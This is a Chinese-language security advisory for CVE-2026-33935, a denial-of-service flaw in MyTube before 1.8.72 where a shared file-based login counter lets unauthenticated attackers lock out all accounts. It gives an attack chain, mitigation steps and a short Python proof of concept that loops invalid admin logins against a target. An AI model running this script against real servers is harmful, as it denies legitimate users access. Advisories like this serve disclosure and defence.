IPBUF安全漏洞报告
English
CVE-2026-33935 CVSS 7.5 高危

CVE-2026-33935 MyTube账户锁定拒绝服务漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33935
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MyTube

相关标签

拒绝服务逻辑漏洞MyTube账户锁定DoS

漏洞概述

MyTube在1.8.72版本之前存在一个逻辑漏洞,允许未经身份验证的攻击者通过触发失败的登录尝试来锁定管理员和访客账户。由于三个公开的密码验证端点共享同一个基于文件的登录尝试状态,攻击者可以通过向任意端点发送无效请求来增加全局失败计数器。这使得攻击者能够将锁定时间延长至24小时,并无限期维持拒绝服务状态,从而阻止合法用户进行身份验证。

技术细节

该漏洞源于MyTube后端对登录尝试状态管理的设计缺陷。应用程序暴露了三个公开可访问的密码验证端点,这三个端点共同使用一个名为`login-attempts.json`的文件来存储登录状态。当任意端点调用`recordFailedAttempt()`记录失败尝试时,都会更新该共享文件中的`failedAttempts`计数器及相关时间戳。在验证密码前,系统会调用`canAttemptLogin()`检查此文件。攻击者利用这一机制,无需认证即可反复向任一端点发送无效凭证。由于计数器和冷却计时器是全局共享的,这种攻击会迫使系统进入冷却期。通过精心控制请求时序,攻击者可逐步将锁定时长增至最大值(24小时),并在锁定即将结束时发送新请求以重置锁定,从而实现持续的DoS攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标的MyTube服务及其公开的认证端点。
STEP 2
步骤2:触发漏洞
攻击者向认证端点发送大量包含无效用户名或密码的POST请求。
STEP 3
步骤3:状态累积
由于共享状态文件机制,系统记录失败尝试并增加全局计数器,触发冷却锁定机制。
STEP 4
步骤4:维持拒绝服务
攻击者持续发送请求,将锁定时间延长至最大值并反复刷新,使合法用户无法登录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time target_url = "http://target-ip:port/api/auth/login" # Replace with actual endpoint # Payload with invalid credentials payload = { "username": "admin", "password": "wrongpassword" } print(f"[*] Starting DoS attack on {target_url}...") while True: try: # Send malicious login request response = requests.post(target_url, json=payload) print(f"[*] Request sent. Status Code: {response.status_code}") # Wait briefly to simulate traffic and trigger lockout mechanism time.sleep(1) except Exception as e: print(f"[!] Error: {e}") break

影响范围

MyTube < 1.8.72

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或WAF层面限制单一IP地址的请求频率,阻断异常的登录尝试流量。同时,可临时关闭公网对管理后台的访问,仅通过VPN或受信任网络进行管理操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表